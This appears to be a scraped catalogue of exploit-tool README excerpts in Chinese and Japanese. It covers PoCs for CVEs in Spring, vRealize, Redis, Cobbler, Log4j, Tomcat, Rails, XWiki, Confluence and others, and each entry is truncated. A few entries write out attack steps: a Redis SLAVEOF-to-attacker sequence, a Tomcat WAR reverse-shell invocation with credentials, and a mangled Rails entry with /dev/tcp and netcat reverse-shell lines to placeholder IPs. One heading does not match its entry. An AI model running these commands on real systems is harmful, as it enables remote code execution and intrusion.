cve-2016-1000027-poc

CVE-2016-1000027 的 PoC 这是一个受 CVE-2016-1000027 影响的演示 Spring Boot 应用程序。 漏洞复现步骤 1. 启动存在漏洞的服务器 com.gypsyengineer.server.Server。 2. 运行 com.gypsyengineer.client.Exploit。 Exploit 类读取 payload.bin 并将其发送给存在漏洞的服务器。 payload.bin 包含由 ysoserial 生成的 payload。 当前的 payload.bin 是 CommonsCollections5，它会运行 gedit： java...

REALITY_SMASHER

REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "和阻止它一样容易理解。" 这是什么？ "Reality Smasher" 是一个针对 vRealize 的利用工具，利用了 VMSA-2021-0004 中提及的安全问题（CVE-2021-21975、CVE-2021-21983），以及测试过程中发现的一个权限提升漏洞。 它是如何工作的？ "Reality Smasher" 利用 CVE-2021-21975 窃取 vRealize 的...

Redis-RCE

Redis-RCE 适用于 redis4 和 redis5 的远程代码执行 来自 https://github.com/Ridter/redis-rce 的 Python 代码 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03 config set...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Cobbler XMLRPC 認証バイパス RCE エクスプロイト ⚠️ Cobbler における認証バイパスを利用した重大なリモートコード実行 🛠️ @dollarboysushil による PoC 実装 💡 概要 Cobbler はネットワークインストール環境の迅速なセットアップを可能にする Linux インストールサーバーであり、バージョン 3.0.0 から 3.2.3 未満および 3.3.7 未満に認証の脆弱性があります。関数 utils.getsharedsecret は常に -1 を返すため、誰でも空のユーザー名 '' とパスワード -1 で...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit 用于发现和模糊测试 Log4J RCE CVE-2021-44228 漏洞的开源检测与扫描工具 准备 POC git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp log4j2.py...

warsend

WARSend Apache Tomcat Manager API WAR Shell 上传 先决条件 凭据 具有 Tomcat Manager 的 Text API 访问权限 $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/ Created By :...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 关于 此工具允许您验证一个简单的 Java Web 应用程序是否对 CVE-2021-44228 存在漏洞，基于用户提供的 Java 和 Log4J 版本。 您还可以（可选地）应用几种预定义的缓解措施之一。 由 log4shellvalidator.py 启动的模拟实验室使用 docker-compose 来模拟利用 log4j 漏洞并在易受攻击的机器上获得 RCE。 工作方式 首先，需要构建一些 Docker 镜像。./buildimages.sh 脚本会处理这些。 攻击模拟按以下方式进行： 首先，一个简单的 Jav...

CVE-2020-8165

CVE-2020-8165 Python Exploit これはPython3を使用してCVE-2020-8165を悪用するコードです。このエクスプロイトはrails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主なクレジット 元のCVE詳細：https://vulners.com/cve/CVE-2020-8165...

cve-2020-00796

识别并缓解 CVE-2020–0796 漏洞 CVE-2020–0796 是服务器消息块 3.0（SMBv3）网络通信协议中存在的一个预远程代码执行漏洞，微软将不会在 2020 年 3 月星期二补丁中解决该问题。 使用方法 python3 cve-2020-0796-scanner.py IP CVE-2020-0796 影响哪些设备？ SMB 协议上的数据包请求协商...

CVE-2025-24893

XWiki SSTI 漏洞利用工具 一个针对 XWiki SolrSearch 端点中通过 Groovy 模板注入实现的服务端模板注入（SSTI）漏洞的 Python 利用工具。 漏洞信息 类型 ：服务端模板注入（SSTI） 组件 ：XWiki SolrSearch RSS 源 影响 ：远程代码执行 受影响版本 ：XWiki 15.10.8（以及其他可能版本） 环境要求 pip3 install requests beautifulsoup4 使用方法 测试是否存在漏洞 ./xwikiexploit.py -u http://target --test 执行单条命令...

boopkit

================================================================ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║ ██████╔╝╚██████╔╝╚██████╔╝██║ ██║...

ghe-push-option-rce-scanner

CVE-2026-3854 — 通过 Push Option 注入实现 GitHub Enterprise Server RCE 概述 GHE 中 push option 值的中和不当。具有推送权限的攻击者可在实例上实现 RCE。 字段| 值 ---|--- CVE| CVE-2026-3854 严重性| CRITICAL 产品| GitHub Enterprise Server CISA KEV| 2026-03-10 攻击类型| 通过 Push Option 注入实现 RCE 所需认证| 无 受影响版本 状态| 版本 ---|--- ❌ 受影响| GitHub Enterprise...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 Notion for MacOS v.3.1.0 の問題により、リモートの攻撃者が RunAsNode および enableNodeClilnspectArguments コンポーネントを介して任意のコードを実行できる可能性があります。 electron の脆弱性を検索するプロセスを自動化するツールがあります: https://github.com/r3ggi/electroniz3r このツールを使用すると、アプリが脆弱かどうかを確認できます。 検証後、コードを注入してシェルを取得できます。 そして、シェルをお楽しみください。...

CVE-2013-2028-Exploit

CVE-2013-2028 漏洞利用 漏洞详情 受影响软件：Nginx 1.3.9 -lp 4. 让漏洞利用程序找出金丝雀的实际值，并启动反向 shell。...

CVE-2019-9978_Exploit

CVE-2019-9978 エクスプロイト Social WarFare プラグイン =3.5.2 リモートコード実行...

CVE-2024-36401

CVE-2024-36401 プロパティ名式の評価におけるリモートコード実行（RCE）脆弱性...

CVE-2022-26134

CVE-2022-26134 PoC !WARNING 法律免责声明： 本工具严格 仅用于教育目的 ！ 在未获得双方事先同意的情况下，使用本工具攻击目标属于非法行为 。 用户有责任在使用本工具时遵守所有适用法律。 本工具的开发者不承担任何责任，也不对因使用本程序而导致的任何滥用或损害负责。 关于此 CVE： 在受影响版本的 Confluence Server 和 Data Center 中，存在一个 OGNL 注入漏洞，允许未经身份验证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本： 1.3.0 - 7.4.17 7.13.0...

CVE-2019-8805

CVE-2019-8805 CVE-2019-8805 Apple EndpointSecurity 框架权限提升漏洞利用 权限验证中存在一个验证问题。该问题通过改进进程权限验证得到解决。此问题已在 macOS Catalina 10.15.1 中修复。应用程序可能能够以系统权限执行任意代码。 编译与执行 编译 gcc -framework Foundation appleEPSPrivEsc.m -o appleEPSPrivEsc 执行 ./appleEPSPrivEsc...

chakra-exploit-framework

Chakra 利用框架 该仓库包含我为准备 EXP-401 课程 而编写的浏览器利用框架。该框架针对 Chakra 引擎，该引擎在 2019 年 Edge 切换到 v8 之前一直是 Edge 的一部分。 该框架中使用的演示漏洞是 CVE-2019-0567 类型混淆漏洞。 功能特性 为了让这个框架易于使用，我编写了一些很棒的功能，使得实现未来的沙箱逃逸变得非常容易。 抽象化的 Windows API 调用 该框架允许以高层方式调用 Windows API。它使用 GetProcAddress ROP 链来解析任意 API，并支持最多四个参数。 function...

CVE-2021-46422

CVE-2022-26134RCE 安装 git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3使用 单个url: pocsuite -r CVE-2022-26134RCE.py -u url 多个url: pocsuite -r CVE-2022-26134RCE.py -f...